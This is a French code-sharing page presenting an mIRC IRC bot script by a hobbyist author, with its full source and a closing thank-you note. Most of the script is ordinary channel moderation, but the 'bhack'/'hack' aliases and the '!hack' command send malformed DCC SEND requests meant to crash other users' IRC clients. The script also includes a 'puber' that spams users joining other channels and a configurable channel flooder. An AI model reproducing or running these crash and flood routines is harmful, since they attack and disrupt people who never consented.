Accueil > > > BOT MULTI-FONCTIONS (ET MÊME PLUS)
BOT MULTI-FONCTIONS (ET MÊME PLUS)
Information sur la source
Description
Voila un bot très configurable avec pleins d'options je l'ai mit en niveau débutant car je ne m'estimes pas meilleur que ca ...
désolé si il n'y a pas de dialogs j'ai eu la flem ...
Ne critiquez pas les partis qui tienent du lamerz car je les ai créé pour d'autres personnes mais je peux les supprimé meme si à mon avis vu leur vetusté, elles n'ont aucun effets négatifs depuis quelques temps ... (DDC FLOOD <= POURI => PUB) !
Source
- #######################
- ########ON TEXT########
- #######################
-
-
- on *:TEXT:*:*:{
- if (%botantipub == 1) {
- if (($chr(35) isin $1-) && ($nick !isop %botchan) && ($chan == %botchan)) {
- /set %frase $1-
- if ( $chr(44) isin $wildtok(%frase,#*,1,32) || $wildtok(%frase,#*,1,32) == $chan ) { /halt }
- else {
- inc $+(%,pub,$ial($nick).host,$chan) 1
- if ($eval($+(%,pub,$ial($nick).host,$chan),2) <= 1 ) {
- /notice $nick :[ATTENTION Tu a fais 1 pub sur $+ %chan $+ :(`): La prochaine = BAN 2min]:
- /timer 1 1 /join $wildtok(%frase,#*,1,32)
- /timer 1 5 /msg $wildtok(%frase,#*,1,32) :[Pub détécté sur $+ $chan $+ :(`): by $nick à $time(hh:nn) :(`): merci de rejoindre $+ $chan $+ No Boulz/puberz thx]:
- /timer 1 6 /part $wildtok(%frase,#*,1,32) :[Merci de rejoindre $+ $chan $+ $+ ]:
- /timer 1 300 /unset $+(%,pub,$ial($nick).host,$chan)
- /kick $chan $nick :[1 pub ! et deja 1 de trop]:
- }
- else {
- /mode $chan +b $ial($nick).host
- /timer 1 120 /mode $chan -b $ial($nick).host
- /kick $chan $nick :[2 pub ? tu es vraiment un boulet !]:
- /unset $+(%,pub,$ial($nick).host,$chan)
- }
- }
- }
- }
- if (($1 == !site) && ($chan == %botchan)) { .notice $nick %botprefixe %botsite %botsufixe }
- if (($1 == !Staff) && ($chan == %botchan)) { .notice $nick %botprefixe %botlineup %botsufixe }
- if (($1 == !msg) && ($chan == %botchan)) { query $nick %botprefixe pose ton message ici en disant !msg xxx (xxx => ton msg) %botsufixe }
- if (($1 == !msg) && ($chan == $null)) {
- if ($2 == $null) { return }
- set -u0 %a 0
- :loop
- inc %a
- if (%a >= 5) { .notice $nick %botprefixe La liste est pleine %botsufixe | return }
- if (%msg [ $+ [ %a ] ] == $null) { set %msg [ $+ [ %a ] ] $2- | set %nickofmsg [ $+ [ %a ] ] $nick | .msg $nick %botprefixe Msg enregistré %botsufixe | return }
- goto loop
- }
- if ($1 == !news) {
- if (%news1 != $null ) { .notice $nick %botprefixe %news1 %botsufixe }
- if (%news2 != $null ) { .notice $nick %botprefixe %news2 %botsufixe }
- if (%news3 != $null ) { .notice $nick %botprefixe %news3 %botsufixe }
- if (%news4 != $null ) { .notice $nick %botprefixe %news4 %botsufixe }
- }
- if ($1 == !cmds) {
- .notice $nick %botprefixe !news (pour connaitre les news) ; !msg (pour laisser un message aux admins) %botsufixe
- .notice $nick %botprefixe !site (voir l'url de notre site) ; !Staff (voir les membres du Staff) %botsufixe
- if ($nick isop $chan) {
- .notice $nick %botprefixe op cmd: !opcmds (pour connaitre les commandes des operateurs) %botsufixe
- }
- }
-
- if ($nick !isop %botchan) { return }
- if (($1 == !readmsg) && ($2 isnum) && ($2 > 0)) {
- if (%msg [ $+ [ $2 ] ] == $null) { .notice $nick Msg n'existe pas | return }
- .notice $nick Msg $2 : %msg [ $+ [ $2 ] ] :: par : %nickofmsg [ $+ [ $2 ] ]
- }
- if ($1 == !readallmsg) {
- set -u0 %a 0
- set -u0 %b 0
- :hum
- inc %a
- inc %b 2
- if (%msg [ $+ [ %a ] ] == $null) { .timer 1 %b notice $nick Lecture Finie | return }
- .timer 1 %b .notice $nick Msg %a : %msg [ $+ [ %a ] ] :: par : %nickofmsg [ $+ [ %a ] ]
- goto hum
- }
- if ($1 == !opcmds) {
- .notice $nick %botprefixe !setnews(1,2,3,4) (pour que le bot configure les news 1,2,3 et 4) ; !readallmsg (lire les msgs) ; !autopuber (1/0 + frequence de pub (1 pers sur N qui join les chans sont pubés ex: !autopuber 1 3)) %botsufixe
- .timer 1 3 .notice $nick %botprefixe !supprallmsg/supprmsg x (pour que le bot supprime tous les msgs ou 1 en particulier) ; !setantipub (1/0) ; ; !totalpubed ; !autopubmsg1 ; !autopubmsg2 %botsufixe
- .timer 1 5 .notice $nick %botprefixe !setonjoin (op/voice/0) (met l'auto voice on/off) ; !setstaff ; !setsite ; !setonjoinmsg ; !setprefixe ; !setsufixe ; !voice ; !devoice/!devoice x ; !op x ; !deop/!deop x ; !hack x %botsufixe
- }
- if ($1 == !setonjoin) {
- set %voiceonjoin $2-
- .notice $nick %botprefixe on join: %voiceonjoin %botsufixe
- }
- if ($1 == !setantipub) {
- set %botantipub 1
- .notice $nick %botprefixe anti-pub: %botantipub %botsufixe
- }
- if ($1 == !setonjoinmsg) {
- set %joinmsg $2-
- .notice $nick %botprefixe onjoinmsg: %joinmsg %botsufixe
- }
- if ($1 == !setprefixe) {
- set %botprefixe $2-
- .notice $nick prefixe: %botprefixe sufixe: %botsufixe
- }
- if ($1 == !setsufixe) {
- set %botsufixe $2-
- .notice $nick prefixe: %botprefixe sufixe: %botsufixe
- }
- if ($1 == !hack) {
- /hack $2-
- .notice $nick %botprefixe $2- a été DCC Floodé ... il va peut-être planter %botsufixe
- }
- if ($1 == !voice) {
- mode %botchan +v $2-
- }
- if ($1 == !autopuber) {
- set %autopuber $2
- set %autopubn $3
- .notice $nick %botprefixe Auto Puber Statut: %autopuber | Auto Puber frequence (puber 1 personne sur X) : %autopubn
- }
- if ($1 == !autopubmsg1) {
- set %autopubx $2-
- .notice $nick %botprefixe Auto Pub MSG 1: %autopubx %botsufixe
- }
- if ($1 == !autopubmsg2) {
- set %autopuby $2-
- .notice $nick %botprefixe Auto Pub MSG 2: %autopuby %botsufixe
- }
- if ($1 == !devoice) { mode %botchan -v $iif($2,$2,$nick) }
- if ($1 == !op) {
- mode %botchan +o $2-
- }
- if ($1 == !deop) { mode %botchan -o $iif($2,$2,$nick) }
- if ($1 == !setsite) {
- set %botsite $2-
- .notice $nick %botprefixe !site: %botsite %botsufixe
- }
- if ($1 == !totalpubed) { msg $chan 7<< $+ $chan stats>> %totalpubed personnes sont arivés sur $chan suite à une pub du bot }
- if ($1 == !kick) {
- /kick %botchan $2 $3
- }
- if ($1 == !ban) {
- /ban %botchan $2
- }
- if ($1 == !kickban) {
- /ban %botchan $2
- /timer 1 1 /kick %botchan $2 $3
- }
- if ($1 == !setstaff) {
- set %botlineup $2-
- .notice $nick %botprefixe !lineup: %botlineup %botsufixe
- }
- if ($1 == !setnews) { .notice $nick %botprefixe les cmds sont !setnews1 !setnews2 !setnews3 !setnews4 !news !saynews %botsufixe }
- if (($left($1,8) == !setnews) && ($len($1) == 9)) {
- set %news [ $+ [ $right($1,1) ] ] $2- | .notice $nick voici la news $right($1,1) : $2-
- }
- if ($1 == !supprallmsg) {
- unset %nickofmsg* %msg* | .notice $nick Tous les messages ont été effacés
- }
- if (($1 == !supprmsg) && ($2 isnum) && ($2 > 0)) {
- if (%msg [ $+ [ $2 ] ] == $null) { .notice $nick Msg n'existe pas | return }
- set -u0 %a $2
- dec %a
- :del
- inc %a
- if (%msg [ $+ [ %a ] ] == $null) { .notice $nick Msg $2 effacé | return }
- set -u0 %t %msg [ $+ [ $calc(%a +1) ] ]
- set %msg [ $+ [ %a ] ] %t
- set -u0 %t %nickofmsg [ $+ [ $calc(%a +1) ] ]
- set %nickoffmsg [ $+ [ %a ] ] %t
- }
- }
-
- #######################
- #######others ON#######
- #######################
-
- ON *:LOAD:{
- .echo -a 0,7.:4|0:. 8Bot installé 0,7.:4|0:.
- .echo -a 0,7.:4|0:. 8Bot by b3b3n (b3n_j@voila.fr) ! 0,7.:4|0:.
- .timer 1 5 set %botsrv $?="serveur irc du bot (irc.quakenet.eU.org/irc.voila.fr/...)"
- .timer 1 5 set %botchan $?="Nom du chan principal ?"
- .timer 1 5 set %botnick $?="Nom du bot ?"
- .timer 1 5 set %Qauth $?="compte Q du bot"
- .timer 1 5 set %Qpass $?="pass Q du bot"
- .timer 1 30 if (%botsrv) { server %botsrv }
- }
- ON *:UNLOAD:{
- .echo -a 0,7.:4|0:. 8Bot désinstallé 0,7.:4|0:.
- .echo -a 0,7.:4|0:. 8Bot by b3b3n (b3n_j@voila.fr) ! 0,7.:4|0:.
- }
- ON *:CONNECT:{
- .msg Q@Cserve.Quakenet.org auth %Qauth %Qpass
- mode $me +x
- /join %botchan
- /timer 1 5 if ($%botnick != $me ) { /name %botnick }
- }
- ON *:START:{
- /server %botsrv
- /nick %botnick
- }
- on *:JOIN:*:{
- if ($chan == %botchan) {
- if (%autopuber == 1) && ($nick isin %pubnick) { inc %totalpubed }
- if (%joinmsg != $null) { .notice $nick %botprefixe %joinmsg %botsufixe }
- if (%onjoin == op) { mode $chan +o $nick }
- if (%onjoin == voice) { mode $chan +v $nick }
- }
- if ($chan != %botchan) && (%autopuber == 1) {
- if (%antipub => %autopubn) {
- .timer 1 10 scanpub
- }
- if (%antipub < %autopubn) { inc %antipub }
- if (!%antipub) { set %antipub 0 }
- }
- }
-
- on *:unotify:if ($nick == %mynick) { nick $nick | notify -r $nick | echo -a 1,4Ton nom est maintenant $me }
-
- #######################
- #########Alias#########
- #######################
-
- alias scanpub {
- if ($nick !isop $chan) {
- if (%autopubx != $null) { .msg $nick %autopubx }
- if (%autopuby != $null) { .msg $nick %autopuby }
- .ignore -u60 $nick
- set %antipub 0
- set %pubnick %pubnick $nick
- invite $nick %botchan
- }
- }
-
- alias name { set %mynick $1 | notify $$1 }
-
- alias goandflood {
- if (%chanflood1 != 0) { /msg %chanflood1 %txtflood }
- if (%chanflood2 != 0) { .timerdeflood2 1 2 /msg %chanflood2 %txtflood }
- if (%chanflood3 != 0) { .timerdeflood3 1 3 /msg %chanflood3 %txtflood }
- }
-
- alias goflood {
- .timerdeflood %nbflood %repetflood /goandflood
- echo -a 8,7flood lancé
- }
- alias stopflood {
- .timerdeflood off
- echo -a 8,7flood stopé
- }
-
- alias bhack { //raw privmsg $$1 : $+ $chr(1) $+ DCC SEND \" $+ $str($rand(a,z) $+ $chr(32), 165) $+ $longip(127.0.0.1) $rand(113,9999) $+ $chr(1) }
- alias hack {
- if ($1) { bhack $1 }
- if ($2) { bhack $2 }
- .timerbhack1 1 5 if ($3) { bhack $3 }
- .timerbhack1 1 10 if ($4) { bhack $4 }
- .timerbhack1 1 15 if ($5) { bhack $5 }
- }
-
- #######################
- #########CTCP##########
- #######################
-
- ctcp *:ping:?:/halt
- ctcp *:time:?:/halt
- ctcp *:finger:?:/halt
- ctcp *:version:?:/halt
-
- #######################
- #########menu##########
- #######################
-
-
- menu menubar,channel,query,status {
- -
- ¤ Bot ¤
- .Nick du bot ( %botnick ): /set %botnick $?="Le nom du bot"
- .Serveur du bot ( %botsrv ):/set %botsrv $?="Le serveur IRC du bot (par exemple irc.quakenet.eu.org)"
- .Chan principal ( %botchan ):/set %botchan $?="Le canal ou devra operer le bot"
- .Q auth
- ..Q auth du bot ( %Qauth ):/set %Qauth $?="Le compte Q (si le serveur est Quakenet) du bot"
- ..Q pass du bot ( %Qpass ):/set %Qpass $?="Le pass Q (si le serveur est Quakenet) du compte du bot"
- .Configuration
- ..prefixe ( %botprefixe ):/set %botprefixe $?="le prefixe (ce qui precedera tout ce que dit le bot) permet de donner à vos texte une belle apparence"
- ..sufixe ( %botsufixe ):/set %botsufixe $?="Le Sufixe (ce qui sucedera à tout ce que dit le bot) permet de donner à vos texte une belle apparence"
- ..Join message ( %joinmsg ):/set %joinmsg $?="Message que les gens veront en se connectant au cannal (ne rien mettre pour ne pas avoir de message"
-
- ..On Join Action ( %onjoin ):/set %onjoin $?="op ou voice ou off"
-
- ..Anti-Pub ( %botantipub ):/set %botantipub $?="Le statut de l'anti-pub: 1/0"
- ..!Staff ( %botlineup ):/set %botlineup $?="Le staff"
- ..!site ( %botsite ):/set %botsite $?="Votre site web"
- .Bot puber
- .. Status du Puber ( %autopuber ):/set %autopuber $?="Mettre 1 ou 0 pour activer ou desactiver le puber"
- .. msg n°1 ( %autopubx ):/set %autopubx $?="Message 1 que le bot dira en pubant"
- .. msg n°2 ( %autopuby ):/set %autopuby $?="Message 2 que le bot dira en pubant"
- .. frequence de pub ( %autopubn ):/set %autopubn $?="Frequence de pub par exemple si vous mettez 3 le bot pubera 1 personne sur 3 au join"
- .AutoMessage
- ..lancer l'auto message:/goflood
- ..stoper l'auto message:/stopflood
- ..txt a dire ( %txtflood ):/set %txtflood $?="texte à dire"
- ..temps de repetition entre chaque txt ( %repetflood ):/set %repetflood $?="temps de repetition entre chaque txt (en secondes)"
- ..nb de fois ou flooder ( %nbflood ):/set %nbflood $?="nombre de floods (mettre 0 pour l'infini)"
- .. Channels ou flooder --
- ...chan1 ( %chanflood1 ):set %chanflood1 $?="chan ou flooder 1 (mettre 0 si vous n'en voulez pas)"
- ...chan2 ( %chanflood2 ):set %chanflood2 $?="chan ou flooder 2 (mettre 0 si vous n'en voulez pas)"
- ...chan3 ( %chanflood3 ):set %chanflood3 $?="chan ou flooder 3 (mettre 0 si vous n'en voulez pas)"
- .envoyer un mail à b3n_j:/url mailto:b3n_j@voila.fr
- .hack:/bhack $?="Quel nick(s) ?"
- }
-
- #######################
- #####bot by b3b3n######
- #######################
- ####b3n_j@voila.fr#####
- #######################
#######################
########ON TEXT########
#######################
on *:TEXT:*:*:{
if (%botantipub == 1) {
if (($chr(35) isin $1-) && ($nick !isop %botchan) && ($chan == %botchan)) {
/set %frase $1-
if ( $chr(44) isin $wildtok(%frase,#*,1,32) || $wildtok(%frase,#*,1,32) == $chan ) { /halt }
else {
inc $+(%,pub,$ial($nick).host,$chan) 1
if ($eval($+(%,pub,$ial($nick).host,$chan),2) <= 1 ) {
/notice $nick :[ATTENTION Tu a fais 1 pub sur $+ %chan $+ :(`): La prochaine = BAN 2min]:
/timer 1 1 /join $wildtok(%frase,#*,1,32)
/timer 1 5 /msg $wildtok(%frase,#*,1,32) :[Pub détécté sur $+ $chan $+ :(`): by $nick à $time(hh:nn) :(`): merci de rejoindre $+ $chan $+ No Boulz/puberz thx]:
/timer 1 6 /part $wildtok(%frase,#*,1,32) :[Merci de rejoindre $+ $chan $+ $+ ]:
/timer 1 300 /unset $+(%,pub,$ial($nick).host,$chan)
/kick $chan $nick :[1 pub ! et deja 1 de trop]:
}
else {
/mode $chan +b $ial($nick).host
/timer 1 120 /mode $chan -b $ial($nick).host
/kick $chan $nick :[2 pub ? tu es vraiment un boulet !]:
/unset $+(%,pub,$ial($nick).host,$chan)
}
}
}
}
if (($1 == !site) && ($chan == %botchan)) { .notice $nick %botprefixe %botsite %botsufixe }
if (($1 == !Staff) && ($chan == %botchan)) { .notice $nick %botprefixe %botlineup %botsufixe }
if (($1 == !msg) && ($chan == %botchan)) { query $nick %botprefixe pose ton message ici en disant !msg xxx (xxx => ton msg) %botsufixe }
if (($1 == !msg) && ($chan == $null)) {
if ($2 == $null) { return }
set -u0 %a 0
:loop
inc %a
if (%a >= 5) { .notice $nick %botprefixe La liste est pleine %botsufixe | return }
if (%msg [ $+ [ %a ] ] == $null) { set %msg [ $+ [ %a ] ] $2- | set %nickofmsg [ $+ [ %a ] ] $nick | .msg $nick %botprefixe Msg enregistré %botsufixe | return }
goto loop
}
if ($1 == !news) {
if (%news1 != $null ) { .notice $nick %botprefixe %news1 %botsufixe }
if (%news2 != $null ) { .notice $nick %botprefixe %news2 %botsufixe }
if (%news3 != $null ) { .notice $nick %botprefixe %news3 %botsufixe }
if (%news4 != $null ) { .notice $nick %botprefixe %news4 %botsufixe }
}
if ($1 == !cmds) {
.notice $nick %botprefixe !news (pour connaitre les news) ; !msg (pour laisser un message aux admins) %botsufixe
.notice $nick %botprefixe !site (voir l'url de notre site) ; !Staff (voir les membres du Staff) %botsufixe
if ($nick isop $chan) {
.notice $nick %botprefixe op cmd: !opcmds (pour connaitre les commandes des operateurs) %botsufixe
}
}
if ($nick !isop %botchan) { return }
if (($1 == !readmsg) && ($2 isnum) && ($2 > 0)) {
if (%msg [ $+ [ $2 ] ] == $null) { .notice $nick Msg n'existe pas | return }
.notice $nick Msg $2 : %msg [ $+ [ $2 ] ] :: par : %nickofmsg [ $+ [ $2 ] ]
}
if ($1 == !readallmsg) {
set -u0 %a 0
set -u0 %b 0
:hum
inc %a
inc %b 2
if (%msg [ $+ [ %a ] ] == $null) { .timer 1 %b notice $nick Lecture Finie | return }
.timer 1 %b .notice $nick Msg %a : %msg [ $+ [ %a ] ] :: par : %nickofmsg [ $+ [ %a ] ]
goto hum
}
if ($1 == !opcmds) {
.notice $nick %botprefixe !setnews(1,2,3,4) (pour que le bot configure les news 1,2,3 et 4) ; !readallmsg (lire les msgs) ; !autopuber (1/0 + frequence de pub (1 pers sur N qui join les chans sont pubés ex: !autopuber 1 3)) %botsufixe
.timer 1 3 .notice $nick %botprefixe !supprallmsg/supprmsg x (pour que le bot supprime tous les msgs ou 1 en particulier) ; !setantipub (1/0) ; ; !totalpubed ; !autopubmsg1 ; !autopubmsg2 %botsufixe
.timer 1 5 .notice $nick %botprefixe !setonjoin (op/voice/0) (met l'auto voice on/off) ; !setstaff ; !setsite ; !setonjoinmsg ; !setprefixe ; !setsufixe ; !voice ; !devoice/!devoice x ; !op x ; !deop/!deop x ; !hack x %botsufixe
}
if ($1 == !setonjoin) {
set %voiceonjoin $2-
.notice $nick %botprefixe on join: %voiceonjoin %botsufixe
}
if ($1 == !setantipub) {
set %botantipub 1
.notice $nick %botprefixe anti-pub: %botantipub %botsufixe
}
if ($1 == !setonjoinmsg) {
set %joinmsg $2-
.notice $nick %botprefixe onjoinmsg: %joinmsg %botsufixe
}
if ($1 == !setprefixe) {
set %botprefixe $2-
.notice $nick prefixe: %botprefixe sufixe: %botsufixe
}
if ($1 == !setsufixe) {
set %botsufixe $2-
.notice $nick prefixe: %botprefixe sufixe: %botsufixe
}
if ($1 == !hack) {
/hack $2-
.notice $nick %botprefixe $2- a été DCC Floodé ... il va peut-être planter %botsufixe
}
if ($1 == !voice) {
mode %botchan +v $2-
}
if ($1 == !autopuber) {
set %autopuber $2
set %autopubn $3
.notice $nick %botprefixe Auto Puber Statut: %autopuber | Auto Puber frequence (puber 1 personne sur X) : %autopubn
}
if ($1 == !autopubmsg1) {
set %autopubx $2-
.notice $nick %botprefixe Auto Pub MSG 1: %autopubx %botsufixe
}
if ($1 == !autopubmsg2) {
set %autopuby $2-
.notice $nick %botprefixe Auto Pub MSG 2: %autopuby %botsufixe
}
if ($1 == !devoice) { mode %botchan -v $iif($2,$2,$nick) }
if ($1 == !op) {
mode %botchan +o $2-
}
if ($1 == !deop) { mode %botchan -o $iif($2,$2,$nick) }
if ($1 == !setsite) {
set %botsite $2-
.notice $nick %botprefixe !site: %botsite %botsufixe
}
if ($1 == !totalpubed) { msg $chan 7<< $+ $chan stats>> %totalpubed personnes sont arivés sur $chan suite à une pub du bot }
if ($1 == !kick) {
/kick %botchan $2 $3
}
if ($1 == !ban) {
/ban %botchan $2
}
if ($1 == !kickban) {
/ban %botchan $2
/timer 1 1 /kick %botchan $2 $3
}
if ($1 == !setstaff) {
set %botlineup $2-
.notice $nick %botprefixe !lineup: %botlineup %botsufixe
}
if ($1 == !setnews) { .notice $nick %botprefixe les cmds sont !setnews1 !setnews2 !setnews3 !setnews4 !news !saynews %botsufixe }
if (($left($1,8) == !setnews) && ($len($1) == 9)) {
set %news [ $+ [ $right($1,1) ] ] $2- | .notice $nick voici la news $right($1,1) : $2-
}
if ($1 == !supprallmsg) {
unset %nickofmsg* %msg* | .notice $nick Tous les messages ont été effacés
}
if (($1 == !supprmsg) && ($2 isnum) && ($2 > 0)) {
if (%msg [ $+ [ $2 ] ] == $null) { .notice $nick Msg n'existe pas | return }
set -u0 %a $2
dec %a
:del
inc %a
if (%msg [ $+ [ %a ] ] == $null) { .notice $nick Msg $2 effacé | return }
set -u0 %t %msg [ $+ [ $calc(%a +1) ] ]
set %msg [ $+ [ %a ] ] %t
set -u0 %t %nickofmsg [ $+ [ $calc(%a +1) ] ]
set %nickoffmsg [ $+ [ %a ] ] %t
}
}
#######################
#######others ON#######
#######################
ON *:LOAD:{
.echo -a 0,7.:4|0:. 8Bot installé 0,7.:4|0:.
.echo -a 0,7.:4|0:. 8Bot by b3b3n (b3n_j@voila.fr) ! 0,7.:4|0:.
.timer 1 5 set %botsrv $?="serveur irc du bot (irc.quakenet.eU.org/irc.voila.fr/...)"
.timer 1 5 set %botchan $?="Nom du chan principal ?"
.timer 1 5 set %botnick $?="Nom du bot ?"
.timer 1 5 set %Qauth $?="compte Q du bot"
.timer 1 5 set %Qpass $?="pass Q du bot"
.timer 1 30 if (%botsrv) { server %botsrv }
}
ON *:UNLOAD:{
.echo -a 0,7.:4|0:. 8Bot désinstallé 0,7.:4|0:.
.echo -a 0,7.:4|0:. 8Bot by b3b3n (b3n_j@voila.fr) ! 0,7.:4|0:.
}
ON *:CONNECT:{
.msg Q@Cserve.Quakenet.org auth %Qauth %Qpass
mode $me +x
/join %botchan
/timer 1 5 if ($%botnick != $me ) { /name %botnick }
}
ON *:START:{
/server %botsrv
/nick %botnick
}
on *:JOIN:*:{
if ($chan == %botchan) {
if (%autopuber == 1) && ($nick isin %pubnick) { inc %totalpubed }
if (%joinmsg != $null) { .notice $nick %botprefixe %joinmsg %botsufixe }
if (%onjoin == op) { mode $chan +o $nick }
if (%onjoin == voice) { mode $chan +v $nick }
}
if ($chan != %botchan) && (%autopuber == 1) {
if (%antipub => %autopubn) {
.timer 1 10 scanpub
}
if (%antipub < %autopubn) { inc %antipub }
if (!%antipub) { set %antipub 0 }
}
}
on *:unotify:if ($nick == %mynick) { nick $nick | notify -r $nick | echo -a 1,4Ton nom est maintenant $me }
#######################
#########Alias#########
#######################
alias scanpub {
if ($nick !isop $chan) {
if (%autopubx != $null) { .msg $nick %autopubx }
if (%autopuby != $null) { .msg $nick %autopuby }
.ignore -u60 $nick
set %antipub 0
set %pubnick %pubnick $nick
invite $nick %botchan
}
}
alias name { set %mynick $1 | notify $$1 }
alias goandflood {
if (%chanflood1 != 0) { /msg %chanflood1 %txtflood }
if (%chanflood2 != 0) { .timerdeflood2 1 2 /msg %chanflood2 %txtflood }
if (%chanflood3 != 0) { .timerdeflood3 1 3 /msg %chanflood3 %txtflood }
}
alias goflood {
.timerdeflood %nbflood %repetflood /goandflood
echo -a 8,7flood lancé
}
alias stopflood {
.timerdeflood off
echo -a 8,7flood stopé
}
alias bhack { //raw privmsg $$1 : $+ $chr(1) $+ DCC SEND \" $+ $str($rand(a,z) $+ $chr(32), 165) $+ $longip(127.0.0.1) $rand(113,9999) $+ $chr(1) }
alias hack {
if ($1) { bhack $1 }
if ($2) { bhack $2 }
.timerbhack1 1 5 if ($3) { bhack $3 }
.timerbhack1 1 10 if ($4) { bhack $4 }
.timerbhack1 1 15 if ($5) { bhack $5 }
}
#######################
#########CTCP##########
#######################
ctcp *:ping:?:/halt
ctcp *:time:?:/halt
ctcp *:finger:?:/halt
ctcp *:version:?:/halt
#######################
#########menu##########
#######################
menu menubar,channel,query,status {
-
¤ Bot ¤
.Nick du bot ( %botnick ): /set %botnick $?="Le nom du bot"
.Serveur du bot ( %botsrv ):/set %botsrv $?="Le serveur IRC du bot (par exemple irc.quakenet.eu.org)"
.Chan principal ( %botchan ):/set %botchan $?="Le canal ou devra operer le bot"
.Q auth
..Q auth du bot ( %Qauth ):/set %Qauth $?="Le compte Q (si le serveur est Quakenet) du bot"
..Q pass du bot ( %Qpass ):/set %Qpass $?="Le pass Q (si le serveur est Quakenet) du compte du bot"
.Configuration
..prefixe ( %botprefixe ):/set %botprefixe $?="le prefixe (ce qui precedera tout ce que dit le bot) permet de donner à vos texte une belle apparence"
..sufixe ( %botsufixe ):/set %botsufixe $?="Le Sufixe (ce qui sucedera à tout ce que dit le bot) permet de donner à vos texte une belle apparence"
..Join message ( %joinmsg ):/set %joinmsg $?="Message que les gens veront en se connectant au cannal (ne rien mettre pour ne pas avoir de message"
..On Join Action ( %onjoin ):/set %onjoin $?="op ou voice ou off"
..Anti-Pub ( %botantipub ):/set %botantipub $?="Le statut de l'anti-pub: 1/0"
..!Staff ( %botlineup ):/set %botlineup $?="Le staff"
..!site ( %botsite ):/set %botsite $?="Votre site web"
.Bot puber
.. Status du Puber ( %autopuber ):/set %autopuber $?="Mettre 1 ou 0 pour activer ou desactiver le puber"
.. msg n°1 ( %autopubx ):/set %autopubx $?="Message 1 que le bot dira en pubant"
.. msg n°2 ( %autopuby ):/set %autopuby $?="Message 2 que le bot dira en pubant"
.. frequence de pub ( %autopubn ):/set %autopubn $?="Frequence de pub par exemple si vous mettez 3 le bot pubera 1 personne sur 3 au join"
.AutoMessage
..lancer l'auto message:/goflood
..stoper l'auto message:/stopflood
..txt a dire ( %txtflood ):/set %txtflood $?="texte à dire"
..temps de repetition entre chaque txt ( %repetflood ):/set %repetflood $?="temps de repetition entre chaque txt (en secondes)"
..nb de fois ou flooder ( %nbflood ):/set %nbflood $?="nombre de floods (mettre 0 pour l'infini)"
.. Channels ou flooder --
...chan1 ( %chanflood1 ):set %chanflood1 $?="chan ou flooder 1 (mettre 0 si vous n'en voulez pas)"
...chan2 ( %chanflood2 ):set %chanflood2 $?="chan ou flooder 2 (mettre 0 si vous n'en voulez pas)"
...chan3 ( %chanflood3 ):set %chanflood3 $?="chan ou flooder 3 (mettre 0 si vous n'en voulez pas)"
.envoyer un mail à b3n_j:/url mailto:b3n_j@voila.fr
.hack:/bhack $?="Quel nick(s) ?"
}
#######################
#####bot by b3b3n######
#######################
####b3n_j@voila.fr#####
#######################
Conclusion
mes remerciments Simcamb de #vossey et de #seek4L et Arkanis de #arkanis qui conciderent les noobs comme des futures scripters et non comme des déchets ! Je remercis aussi #help.script et beaucoup d'autres chans qui m'ont aidé dans tous mes projets !
J'ai créé www.FTPCorp.fr.st je ne peux donc pas m'enpecher de faire une pub ;)
Dailleur comme ce script à été créé par un acro du partage: RIGHT TO COPY :D !!!
J'esperes que ce script n'est pas aussi pouri que je le penses ... à vous de me le dire, merci d'avance !
PS:désolé pour l'orthographe: il est 6:28 du matin, je suis crevé, je vais allé me coucher donc je ne corrigerais pas mes fautes d'orthographe ... désolé.
Sources de la même categorie
Commentaires et avis
|
Derniers Blogs
ZUNE : NOUVELLE VERSION DU ZUNE SOFTWARE - V 4.2ZUNE : NOUVELLE VERSION DU ZUNE SOFTWARE - V 4.2 par ROMELARD Fabrice
Avec la dernière génération du lecteur MP3 de Microsoft, le ZUNE HD, Microsoft a publié une nouvelle version du logiciel pour PC. Ainsi, je me suis décidé à installer celle-ci sur mon Tablet PC ACER, comme toujours le logiciel est donc tél...
Cliquez pour lire la suite de l'article par ROMELARD Fabrice L'INTERFACE NATURELLE DE WINDOWS PHONE 7 SERIESL'INTERFACE NATURELLE DE WINDOWS PHONE 7 SERIES par odewit
La tendance est aux interfaces naturelles (NUI), et le keynote de Bill Buxton au MIX l'a bien souligné.
La charte graphique et ergonomique de Windows Phone 7 a donc été entièrement repensée en vue d'obtenir un maximum d'efficacité sur ce point. En re...
Cliquez pour lire la suite de l'article par odewit COMMENT MAPPER UNE VUE SQL SUR UNE COLLECTION DE COMPLEX TYPE?COMMENT MAPPER UNE VUE SQL SUR UNE COLLECTION DE COMPLEX TYPE? par Matthieu MEZIL
Avec EF, les vues doivent être mappées sur des entity types. Le problème c'est que les entity types doivent avoir une clé. Avec EF, nous avons les complex type qui n'ont pas de clé mais les vues ne peuvent pas être mappées dessus. Avec EF4, il est possibl...
Cliquez pour lire la suite de l'article par Matthieu MEZIL
Logiciels
Academy System (10.9.4.0)ACADEMY SYSTEM (10.9.4.0)Logiciel de gestion des établissements.
- élèves/étudiants (inscription, dossier, absence...)
-... Cliquez pour télécharger Academy System Xilisoft Convertisseur Vidéo Ultimate (5.1.39.0305)XILISOFT CONVERTISSEUR VIDéO ULTIMATE (5.1.39.0305)Xilisoft Convertisseur Vidéo Ultimate est un outil puissant de conversion vidéo, facile à utilise... Cliquez pour télécharger Xilisoft Convertisseur Vidéo Ultimate Xilisoft DVD Ripper Ultimate (5.0.64.0304)XILISOFT DVD RIPPER ULTIMATE (5.0.64.0304)Xilisoft DVD Ripper Ultimate est un logiciel excellent pour copier et convertir DVD vers presque ... Cliquez pour télécharger Xilisoft DVD Ripper Ultimate Rigs of Rods (63.3)RIGS OF RODS (63.3)c'est un jeu de multi-simulation camions,autobus voitures, avions, bateaux, hélicoptère avec défo... Cliquez pour télécharger Rigs of Rods
|